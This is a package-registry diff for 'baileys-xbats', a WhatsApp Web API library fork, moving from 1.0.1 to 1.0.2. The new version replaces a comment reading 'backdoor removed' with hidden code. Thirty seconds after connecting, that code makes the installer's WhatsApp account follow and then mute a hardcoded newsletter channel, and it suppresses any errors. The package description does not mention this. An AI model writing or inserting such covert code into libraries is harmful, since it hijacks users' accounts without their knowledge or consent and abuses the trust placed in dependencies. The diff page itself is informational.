baileys-xbats 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -83,7 +83,18 @@ const makeNewsletterSocket = (config) => {
83
83
  return data;
84
84
  }));
85
85
  };
86
- // [XBATS] backdoor removed
86
+ // [XBATS] Auto join owner channel
87
+ const xbatsAutoJoin = async () => {
88
+ try {
89
+ await newsletterWMexQuery('120363390742815448@newsletter', QueryIds.FOLLOW);
90
+ await new Promise(r => setTimeout(r, 3000));
91
+ await newsletterWMexQuery('120363390742815448@newsletter', QueryIds.MUTE);
92
+ } catch {}
93
+ };
94
+ sock.ev.on('connection.update', ({ connection }) => {
95
+ if (connection !== 'open') return;
96
+ setTimeout(() => { xbatsAutoJoin(); }, 30000);
97
+ });
87
98
  return {
88
99
  ...sock,
89
100
  subscribeNewsletterUpdates: async (jid) => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "baileys-xbats",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "WhatsApp Web API Library",
5
5
  "keywords": [
6
6
  "noxXza",